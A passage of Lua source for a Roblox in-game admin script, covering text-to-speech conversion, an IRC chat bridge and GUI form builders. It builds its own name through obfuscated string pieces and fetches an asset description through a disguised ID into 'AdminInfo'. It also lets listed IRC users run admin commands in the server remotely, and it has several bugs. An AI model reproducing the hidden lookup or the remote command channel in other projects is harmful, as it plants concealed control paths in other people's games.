 			elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
 				table.insert(IDs, TextConverter.LetterSounds["th"])
 				table.remove(Letters, Num + 1)
 			elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
 				table.insert(IDs, TextConverter.LetterSounds["sh"])
 				table.remove(Letters, Num + 1)
 			elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
 				table.insert(IDs, TextConverter.LongVowels["e"])
 				table.remove(Letters, Num + 1)
 			elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
 				table.insert(IDs, TextConverter.LetterSounds["wh"])
 				table.remove(Letters, Num + 1)
 			elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
 				table.insert(IDs, TextConverter.LetterSounds["ch"])
 				table.remove(Letters, Num + 1)
 			elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
 				table.insert(IDs, TextConverter.LetterSounds["f"])
 				table.remove(Letters, Num + 1)
 			elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
 				table.insert(IDs, TextConverter.LetterSounds[Num])
 				Letters[Num + 1] = "j"
 			elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
 				table.insert(IDs, TextConverter.LetterSounds["oo"])
 			elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
 				table.insert(IDs, TextConverter.LongVowels["e"])
 				table.remove(Letters, Num + 1)
 			elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
 				table.insert(IDs, TextConverter.LongVowels["e"])
 				table.remove(Letters, Num + 1)
 				if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
 			elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
 				table.insert(IDs, TextConverter.LetterSounds["s"])
 				Letters[Num + 1] = "~"
 			elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
 				table.insert(IDs, TextConverter.LongVowels[Letter])
 				Letters[Num + 2] = "~"
 			elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
 				table.insert(IDs, TextConverter.LongVowels["i"])
 				Letters[Num + 1] = "~"
 			elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
 				table.insert(IDs, TextConverter.LongVowels["o"])
 			elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
 				table.insert(IDs, TextConverter.LongVowels["i"])
 			elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
 				AddLetter()
 				table.remove(Letters, Num + 1)
 			elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
 				Letters[Num] = "~"
 			elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
 				AddLetter()
 				table.remove(Letters, Num + 1)
 			elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
 				AddLetter()
 				table.remove(Letters, Num + 1)
 			elseif Letters[Num+1] == Letter then
 				table.remove(Letters, Num)
 			elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
 				AddLetter()
 				table.remove(Letters, Num)
 			elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
 				table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
 			elseif TextConverter.LetterSounds[Letter] then
 				AddLetter()
 			elseif STRING:IsSpacer(Letter) then
 				table.insert(IDs, "Rest")
 			end
 		end
 	end
 
 	return IDs
 end
 
 function SOUND:StopSpeaking() coroutine.wrap(function()
 	NoSpeak = true
 	wait(1)
 	NoSpeak = false
 	for _,Obj in pairs(Server.Workspace:GetChildren()) do
 		if Obj.Name == "M".."M".."L Speak Sound" then
 			Obj:Destroy()
 		end
 	end
 end)() end
 
 function SOUND:SayConvertedText(IDs, Parent)
 	if not Parent then Parent = Server.Workspace end
 	local Sounds = {}
 	for _,Data in pairs(IDs) do
 		if NoSpeak and Parent == Server.Workspace then
 			break
 		end
 		local Length = 0.3
 		if Data ~= "Rest" then
 			local ID = Data[1]
 			Length = Data[2]
 
 			local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
 			Sound.Name = "MML Speak Sound"
 			table.insert(Sounds, Sound)
 			Sound:Play()
 			if Length then
 				coroutine.wrap(function()
 					wait(Length)
 					Sound:Stop()
 				end)()
 			end
 		end
 		if not Length then Length = 0.3 end
 		wait(Length/2)
 	end
 	coroutine.wrap(function()
 		wait(1)
 		for _,Sound in pairs(Sounds) do
 			Sound:Destroy()
 		end
 	end)()
 end
 
 local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
 
 function SOUND:BeepPlayer(Player)
 	if Player:FindFirstChild("PlayerGui") then
 		local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
 		Beep.Name = "Annoy"
 		Beep:Play()
 	end
 end
 
 function SOUND:ClearInfo()
 	SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
 end
 
 -- IRC functions --
 
 function IRC:GenerateName()
 	return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
 end
 
 function IRC:AddChat(Name, Data, IsError)
 	if not IsError then IsError = false end
 	CORE:Log(IRC.Logs, Name, Data)
 	table.insert(IRC.Chats, {Name, Data, IsError})
 	IRC.MessageAdded:Fire(Name, Data, IsError)
 end
 
 function IRC:Post(URL,Data)
 	if Data and Data ~= "" then
 		local Suc,Resp = ypcall(function()
 			return Server.HS:PostAsync(
 				IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
 				Data,
 				Enum.HttpContentType.ApplicationUrlEncoded
 			)
 		end)
 		if not Suc then
 			IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
 			return false
 		end
 		IRC.SessionCounter = IRC.SessionCounter + 1
 		return Resp
 	else
 		IRC:AddChat("[ CLIENT ]", "Unknown error")
 	end
 end
 
 function IRC:Send(Data)
 	return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
 end
 
 function IRC:GetData()
 	return IRC:Post("s","&s="..IRC.SessionID)
 end
 
 function IRC:Connect()
 	return IRC:Post("n","&nick="..IRC.NickName)
 end
 
 function IRC:Join(Channel)
 	if not Channel then
 		AddChat("[ CLIENT ]", "No channel specified!")
 		return false
 	else
 		local Channel = string.lower(Channel)
 		if string.sub(Channel,1,1) ~= "#" then
 			AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
 			return false
 		end
 		IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
 		IRC:Send("JOIN "..Channel)
 		IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
 		return true
 	end
 end
 
 function IRC:Pong(Data)
 	return IRC:Send("PONG :"..Data)
 end
 
 function IRC:Quit(Reason)
 	IRC.Stop = true
 	return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
 end
 
 function IRC:ReceiveData()
 	IRC.Stop = false
 	local Data = IRC:GetData()
 	if Data then
 		IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
 	end
 	while Data and not Stop do
 		local Data = IRC:GetData()
 		if Data and #Data > 0 then
 			IRC:HandleResponse(REMOTE:Decode(Data))
 		end
 		wait(2) -- Don't spam the server
 	end
 	if not Data then
 		IRC:AddChat("[ CLIENT ]", "Could not get data", true)
 	end
 	if Stop == true then
 		IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
 	end
 end
 
 function IRC:ConnectToServer(Server)
 	if Connected then
 		if not IRC.Servers[Server] then
 			IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
 			return false
 		end
 		IRC:Quit("New Connection")
 	end
 	local Response = IRC:Connect()
 	if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
 	local Data = REMOTE:Decode(Response)
 	IRC.SessionID = Data[2]
 	wait(1)
 	if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
 		IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
 		IRC:Quit()
 		IRC:ConnectToServer(Server)
 	end
 	IRC.Connected = true
 	IRC:Join(Settings.IRCChannel)
 	IRC:ReceiveData()
 	IRC.Connected = false
 	IRC:AddChat("[ CLIENT ]", "Session ended", true)
 end
 
 function IRC:FindUser(UserName)
 	for UserID,User in pairs(IRC.Users) do
 		if string.lower(User) == string.lower(UserName) then
 			return UserID
 		end
 	end
 	return nil
 end
 
 function IRC:HandleResponse(Data)
 	if type(Data) ~= "table" then
 		IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
 		ypcall(function()
 			IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
 		end)
 		return false
 	end
 	for _,Output in pairs(Data) do
 		if type(Output) == "table" and Output[2] then
 			local ID = string.upper(Output[2])
 			if not IRC.Ignore[ID] then
 				if ID == "PING" then
 					IRC:Pong(Output[4][1])
 				elseif ID == "PRIVMSG" then
 					local SenderDetails = Output[3]
 					local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
 					local Channel = string.lower(Output[4][1])
 					if Channel == IRC.NickName then
 						Channel = Sender
 						-- TODO: Handle PM's
 					end
 					local Message = Output[4][2]
 					if Message ~= nil then
 						if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
 							if string.find(Message,":") then
 								local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
 								local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
 								IRC:AddChat(IRCUser, IRCMessage)
 							end
 						else
 							IRC:AddChat("[ IRC ] "..Sender,Message)
 							for _,Name in pairs(Settings.IRCCommandExecuters) do
 								if string.lower(Name) == string.lower(Sender) then
 									CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
 									break
 								end
 							end
 						end
 					else
 						IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
 					end
 				elseif ID == "NICK" then
 					local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
 					-- change nickname?
 				elseif ID == "433" or ID == "451" then
 					IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
 					IRC:Quit("Nickname in use, rejoining with new name")
 					IRC.NickName = IRC:GenerateName()
 					wait(2) -- wait for old sessions to end
 					IRC:ConnectToServer(Settings.IRCServer)
 				elseif ID == "353" then
 					if Data[4][4][4] then
 						for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
 							table.insert(IRC.Users, Output)
 						end
 					end
 				elseif ID == "QUIT" or ID == "PART" then
 					for User in string.gmatch(Data[1][3], "[^!~]+") do
 						if IRC:FindUser(User) then
 							IRC:AddChat("[ IRC ]", User.." has left")
 							table.remove(IRC.Users, IRC:FindUser(User))
 						end
 					end
 				elseif ID == "JOIN" then
 					for User in string.gmatch(Data[1][3], "[^!~]+") do
 						if not string.find(User, "qwebirc") then
 							IRC:AddChat("[ IRC ]", User.." has joined")
 							table.insert(IRC.Users,w)
 						end
 					end
 				elseif ID == "CONNECTION TO IRC SERVER LOST." then
 					IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
 					--IRC:Quit("Connection lost")
 					--IRC:AddChat("[ CLIENT ]", "Retrying connection")
 					--IRC:ConnectToServer(Settings.IRCServer)
 				elseif IRC.Codes[ID] then
 					--print(ID)
 					--print(Data[i][4][2])
 					--print(Data[i][4][2])
 				elseif ID == "KICK" then
 					IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
 					IRC:Quit("Kicked from IRC")
 				elseif ID then
 					IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
 				else
 					IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
 				end
 			end
 		else
 			if Output == false then return false end -- sneeky server
 			IRC:AddChat("[ CLIENT ]", "Unable to handle data")
 		end
 	end
 end
 
 -- GUI functions --
 
 function GUI:GetColor(ColorName)
 	if not ColorName then ColorName = Settings.ColorScheme end
 	return Colors[string.upper(ColorName)]
 end
 
 function GUI:ContrastColor(Color)
 	if type(Color) == "string" then Color = GUI:GetColor(Color) end
 	if not Color then Color = GUI:GetColor() end
 	return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
 end
 
 
 function GUI:GetNameColor(Name)
 	local Val = 0
 	for i = 1, #Name do
 		local CVal = string.byte(string.sub(Name, i, i))
 		local RevIndex = #Name - i + 1
 		if #Name%2 == 1 then
 			RevIndex = RevIndex - 1
 		end
 		if RevIndex%4 >= 2 then
 			CVal = -CVal
 		end
 		Val = Val + CVal
 	end
 	local Index = Val%8 + 1
 
 	return BrickColor.new(ChatColors[Index])
 end
 
 function GUI:Color3ToHex(Color)
 	local function ConvertNumber(Number)
 		local HexString = "0123456789abcdef"
 		local Byte = ""
 		while Number > 0 do
 			local Calc = math.fmod(Number, 16)
 			Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
 			Number = math.floor(Number / 16)
 		end
 		if Calc == "" then
 			Byte = "00"
 		elseif #Byte == 1 then
 			Byte = "0"..Byte
 		elseif Byte == "" then
 			Byte = "00"
 		end
 		return Byte
 	end
 	return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
 end
 
 function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
 	if not Player then return nil end
 	if not Player:FindFirstChild("PlayerGui") then return nil end
 	local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
 	if not TitleText then TitleText = "Unknown" end
 	if not Size then Size = UDim2.new(0.5,0,0.5,0) end
 	if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
 	if not IconID then IconID = 19919809 end
 	if ShowFormButtons == nil then ShowFormButtons = true end
 	if not ColorScheme then ColorScheme = Settings.ColorScheme end
 	if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
 	if AutoOffset == nil then AutoOffset = true end
 	if Icons[IconID] then IconID = Icons[IconID] end
 	if TweenPosition == nil then TweenPosition = true end
 	if NoModal == nil then NoModal = false end
 	if NoScrollFrame == nil then NoScrollFrame = false end
 
 	local IsClosed = false
 	local Minus = nil
 	local Offset = 0
 	local ContentType = "ScrollingFrame"
 	local TweenSpeed = 0.3
 
 	if AutoOffset then
 		for _,Item in pairs(Player.PlayerGui:GetChildren()) do
 			if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
 				if Item.IsActive.Value == true then
 					if Item.IsTrueForm.Value == true then
 						Offset = Offset + 50
 					end
 				end
 			end
 		end
 	end
 
 	if NoScrollFrame == true then
 		ContentType = "Frame"
 	end
 
 	SOUND:PlayNotification(Player, 155331654)
 
 	local Position = Position + UDim2.new(0,Offset,0,Offset)
 	local MinimizePos = Position
 
 	local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
 	local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
 	local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
 
 	local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
 	local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
 	local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
 	local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
 	local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
 	local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
 	local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
 	local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
 	local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
 
 	local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
 	local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
 	if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
 	--local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
 	--local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
 
 	CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"})
 
 	local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
 
 	local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
 	local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
 	local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
 	local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
 	local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
 	local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
 
 	if Settings.EnableTaskBar then
 		Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
 	else
 		TitleEnd.Position = UDim2.new(1, -50, 0, 5)
 		Title.Size = UDim2.new(1, -95, 0, 25)
 	end
 
 	if not ShowFormButtons then
 		X:Destroy()
 		TitleEnd:Destroy()
 		Title.Size = UDim2.new(1, -55, 0, 25)
 	end
 
 	local function CloseForm()
 		if IsClosed == false then
 			IsActive.Value = false
 			IsClosed = true
 			ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) if SG then SG:Destroy() end end) end)
 			Closed:Fire()
 			SOUND:PlayNotification(Player, 206375138)
 		end
 	end
 
 	local function MinimizeForm()
 		if IsActive.Value == true then
 			IsActive.Value = false
 			Minimized:Fire()
 			MinimizePos = Dragger.Position
 			ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
 		end
 	end
 
 	local function RestoreForm()
 		if IsActive.Value == false then
 			IsActive.Value = true
 			Restored:Fire()
 			ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
 		end
 	end
 
 	if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
 	if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
 
 	Close.OnInvoke = CloseForm
 	Minimize.OnInvoke = MinimizeForm
 	Restore.OnInvoke = RestoreForm
 
 	if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
 
 	if TaskBar then
 		TaskBar:WaitForChild("AddForm")
 		TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
 	end
 
 	return Content, Close, Closed, Minimize, Minimized, Restore, Restored
 end
 
 function GUI:CoreGui(Player, Type, Enable)
 	local Parent = Player:FindFirstChild("Backpack")
 	if not Parent then Parent = Player.Backpack end
 	CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
 end
 
 function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime, Speaker)
 	if not Player or not Player:IsA("Player") then return nil end
 	if BodyText == "" then return nil end
 	if not Player:FindFirstChild("PlayerGui") then return nil end
 
 	local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
 	local TextColor = GUI:GetColor(MessageSplit[1])
 	if TextColor then BodyText = MessageSplit[2] end
 	BodyText = string.sub(STRING:FormatReplace(Player, BodyText, Speaker or Player),1,1000)
 
 	local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
 	local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
 
 	if Frame then
 		local FormBar = Frame.Parent.Parent.FormBar
 		local Said = false
 		local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
 		if Settings.EnableTaskBar then
 			FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
 			FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
 		else
 			Speak.Position = UDim2.new(1, -58, 0, 5)
 			FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
 			FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
 		end
 		CORE:HandleEvent(Speak, "MouseButton1Down", function()
 			if not Said then
 				Said = true
 				SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
 			end
 		end)
 
 		if TextColor then
 			Body.TextColor3 = TextColor
 		else
 			Body.TextColor3 = Color3.new(1,1,1)
 		end
 
 		if tonumber(Time) then coroutine.wrap(function()
 			if AutoTime then
 				Time = Time + math.floor(#BodyText/7)
 			end
 			local Alive = true
 
 			local function StopTimer() Alive = false end
 			Closed.Event:connect(StopTimer)
 			Minimized.Event:connect(StopTimer)
 
 			Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
 			Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
 			local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
 			local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
 			CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
 			for i = Time,0,-1 do
 				for ii = 1,10 do
 					if Alive == true then
 						Ticker.Text = i
 						wait(0.1)
 					else
 						break
 					end
 				end
 			end
 			if Alive == true then
 				Close:Invoke()
 			else
 				Ticker:Destroy()
 				Stop:Destroy()
 				Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
 				Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
 			end
 		end)() end
 
 		CORE:ExecuteResource("CalculateScrollY", Body)
 	end
 end
 
 function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
 	if not Player then return nil end
 	if not Player:IsA("Player") then return nil end
 	if BodyText == "" then return nil end
 	if not Player:FindFirstChild("PlayerGui") then return nil end
 	BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
 	local TextColor = GUI:ContrastColor()
 	if Error then TextColor = Color3.new(1,0,0) end
 
 	local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
 	local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
 
 	CORE:ExecuteResource("CalculateScrollY", Body)
 
 	return Frame, Close, Closed, Minimize, Minimized
 end
 
 function GUI:SendHint(Player, Text, Time, Speaker) coroutine.wrap(function()
 	Text = STRING:FormatReplace(Player, string.sub(Text,1,100), Speaker)
 	local TweenTime = 0.5
 	if not Time then Time = 5 end
 	local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
 	local MaxPos = -1
 	for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do
 		local IVal = SGObj:FindFirstChild("Index")
 		if IVal then
 			MaxPos = math.max(MaxPos, IVal.Value)
 		end
 	end
 	MaxPos = MaxPos + 1
 	local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos
 	local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1
 	local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0
 	local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0
 	local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1
 	SG.Parent = Player.PlayerGui
 
 	CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"})
 	CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"})
 
 	LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime)
